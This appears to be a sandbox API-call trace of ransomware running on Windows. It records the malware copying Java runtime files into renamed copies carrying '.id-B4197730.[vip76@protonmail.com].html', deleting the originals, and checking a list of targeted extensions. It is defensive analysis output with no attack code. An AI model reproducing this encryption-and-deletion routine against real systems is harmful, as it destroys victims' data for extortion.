	[0176.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.165] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.165] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.165] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.165] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.166] GetLastError () returned 0x0
	[0176.166] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4d9c8, lpOverlapped=0x0) returned 1
	[0176.181] WriteFile (in: hFile=0x5b4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4d9d0, lpOverlapped=0x0) returned 1
	[0176.189] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.189] WriteFile (in: hFile=0x5b4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x100, lpOverlapped=0x0) returned 1
	[0176.189] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.189] CloseHandle (hObject=0x5b4) returned 1
	[0176.189] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.189] SetEndOfFile (hFile=0x594) returned 1
	[0176.198] CloseHandle (hObject=0x594) returned 1
	[0176.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.199] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1
	[0176.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.200] lstrlenW (lpString=".doc") returned 4
	[0176.200] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.200] lstrlenW (lpString=".docx") returned 5
	[0176.200] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0176.200] lstrlenW (lpString=".pdf") returned 4
	[0176.200] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.200] lstrlenW (lpString=".xls") returned 4
	[0176.200] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.200] lstrlenW (lpString=".xlsx") returned 5
	[0176.200] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0176.200] lstrlenW (lpString=".ppt") returned 4
	[0176.200] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.200] lstrlenW (lpString=".zip") returned 4
	[0176.200] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.200] lstrlenW (lpString=".rar") returned 4
	[0176.200] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.200] lstrlenW (lpString=".bz2") returned 4
	[0176.200] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.200] lstrlenW (lpString=".7z") returned 3
	[0176.200] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.200] lstrlenW (lpString=".dbf") returned 4
	[0176.200] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.200] lstrlenW (lpString=".1cd") returned 4
	[0176.200] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.200] lstrlenW (lpString=".jpg") returned 4
	[0176.200] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.201] lstrlenW (lpString=".doc") returned 4
	[0176.201] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.201] lstrlenW (lpString=".docx") returned 5
	[0176.201] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0176.201] lstrlenW (lpString=".pdf") returned 4
	[0176.201] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.201] lstrlenW (lpString=".xls") returned 4
	[0176.201] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.201] lstrlenW (lpString=".xlsx") returned 5
	[0176.201] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0176.201] lstrlenW (lpString=".ppt") returned 4
	[0176.201] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.201] lstrlenW (lpString=".zip") returned 4
	[0176.201] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.201] lstrlenW (lpString=".rar") returned 4
	[0176.201] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.201] lstrlenW (lpString=".bz2") returned 4
	[0176.201] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.201] lstrlenW (lpString=".7z") returned 3
	[0176.201] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.201] lstrlenW (lpString=".dbf") returned 4
	[0176.397] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.397] lstrlenW (lpString=".1cd") returned 4
	[0176.397] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0176.397] lstrlenW (lpString=".jpg") returned 4
	[0176.397] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.397] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0176.397] lstrlenW (lpString="cursors.properties") returned 18
	[0176.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.401] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1280) returned 1
	[0176.401] CloseHandle (hObject=0x590) returned 1
	[0176.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20
	[0176.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0176.403] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.403] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.403] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.544] GetLastError () returned 0x0
	[0176.544] ReadFile (in: hFile=0x590, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x500, lpOverlapped=0x0) returned 1
	[0176.546] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x510, lpOverlapped=0x0) returned 1
	[0176.548] ReadFile (in: hFile=0x590, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.548] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0176.548] SetEndOfFile (hFile=0x594) returned 1
	[0176.548] CloseHandle (hObject=0x594) returned 1
	[0176.548] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.548] SetEndOfFile (hFile=0x590) returned 1
	[0176.553] CloseHandle (hObject=0x590) returned 1
	[0176.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.804] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1
	[0177.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.170] lstrlenW (lpString=".doc") returned 4
	[0177.170] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0177.170] lstrlenW (lpString=".docx") returned 5
	[0177.170] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0177.170] lstrlenW (lpString=".pdf") returned 4
	[0177.171] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString=".xls") returned 4
	[0177.171] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString=".xlsx") returned 5
	[0177.171] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0177.171] lstrlenW (lpString=".ppt") returned 4
	[0177.171] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.171] lstrlenW (lpString=".zip") returned 4
	[0177.171] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString=".rar") returned 4
	[0177.171] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString=".bz2") returned 4
	[0177.171] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString=".7z") returned 3
	[0177.171] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.171] lstrlenW (lpString=".dbf") returned 4
	[0177.171] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.171] lstrlenW (lpString=".1cd") returned 4
	[0177.171] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.171] lstrlenW (lpString=".jpg") returned 4
	[0177.171] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.171] lstrlenW (lpString=".doc") returned 4
	[0177.171] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0177.171] lstrlenW (lpString=".docx") returned 5
	[0177.171] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0177.171] lstrlenW (lpString=".pdf") returned 4
	[0177.172] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString=".xls") returned 4
	[0177.172] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString=".xlsx") returned 5
	[0177.172] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0177.172] lstrlenW (lpString=".ppt") returned 4
	[0177.172] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.172] lstrlenW (lpString=".zip") returned 4
	[0177.172] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString=".rar") returned 4
	[0177.172] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString=".bz2") returned 4
	[0177.172] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString=".7z") returned 3
	[0177.172] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.172] lstrlenW (lpString=".dbf") returned 4
	[0177.172] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.172] lstrlenW (lpString=".1cd") returned 4
	[0177.172] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0177.172] lstrlenW (lpString=".jpg") returned 4
	[0177.172] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0177.172] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0177.172] lstrlenW (lpString="javafx.properties") returned 17
	[0177.172] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0177.515] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=56) returned 1
	[0177.515] CloseHandle (hObject=0x588) returned 1
	[0177.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20
	[0177.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0177.535] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.535] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.535] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0177.540] GetLastError () returned 0x0
	[0177.540] ReadFile (in: hFile=0x588, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x38, lpOverlapped=0x0) returned 1
	[0177.541] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x40, lpOverlapped=0x0) returned 1
	[0177.542] ReadFile (in: hFile=0x588, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.542] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0177.542] SetEndOfFile (hFile=0x5b0) returned 1
	[0177.542] CloseHandle (hObject=0x5b0) returned 1
	[0177.543] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.543] SetEndOfFile (hFile=0x588) returned 1
	[0177.712] CloseHandle (hObject=0x588) returned 1
	[0177.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.007] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1
	[0178.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.008] lstrlenW (lpString=".doc") returned 4
	[0178.008] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.008] lstrlenW (lpString=".docx") returned 5
	[0178.008] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.008] lstrlenW (lpString=".pdf") returned 4
	[0178.008] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.008] lstrlenW (lpString=".xls") returned 4
	[0178.008] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.008] lstrlenW (lpString=".xlsx") returned 5
	[0178.008] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.008] lstrlenW (lpString=".ppt") returned 4
	[0178.008] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.008] lstrlenW (lpString=".zip") returned 4
	[0178.008] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.008] lstrlenW (lpString=".rar") returned 4
	[0178.009] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString=".bz2") returned 4
	[0178.009] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString=".7z") returned 3
	[0178.009] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.009] lstrlenW (lpString=".dbf") returned 4
	[0178.009] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.009] lstrlenW (lpString=".1cd") returned 4
	[0178.009] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.009] lstrlenW (lpString=".jpg") returned 4
	[0178.009] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.009] lstrlenW (lpString=".doc") returned 4
	[0178.009] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString=".docx") returned 5
	[0178.009] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0178.009] lstrlenW (lpString=".pdf") returned 4
	[0178.009] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString=".xls") returned 4
	[0178.009] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString=".xlsx") returned 5
	[0178.009] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0178.009] lstrlenW (lpString=".ppt") returned 4
	[0178.009] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.009] lstrlenW (lpString=".zip") returned 4
	[0178.009] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0178.009] lstrlenW (lpString=".rar") returned 4
	[0178.010] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0178.010] lstrlenW (lpString=".bz2") returned 4
	[0178.010] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0178.010] lstrlenW (lpString=".7z") returned 3
	[0178.010] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0178.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.010] lstrlenW (lpString=".dbf") returned 4
	[0178.010] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0178.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.010] lstrlenW (lpString=".1cd") returned 4
	[0178.010] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0178.010] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0178.010] lstrlenW (lpString=".jpg") returned 4
	[0178.011] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0178.011] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".html") returned -1
	[0178.011] lstrlenW (lpString="meta-index") returned 10
	[0178.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.012] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=2126) returned 1
	[0178.012] CloseHandle (hObject=0x5c4) returned 1
	[0178.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20
	[0178.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
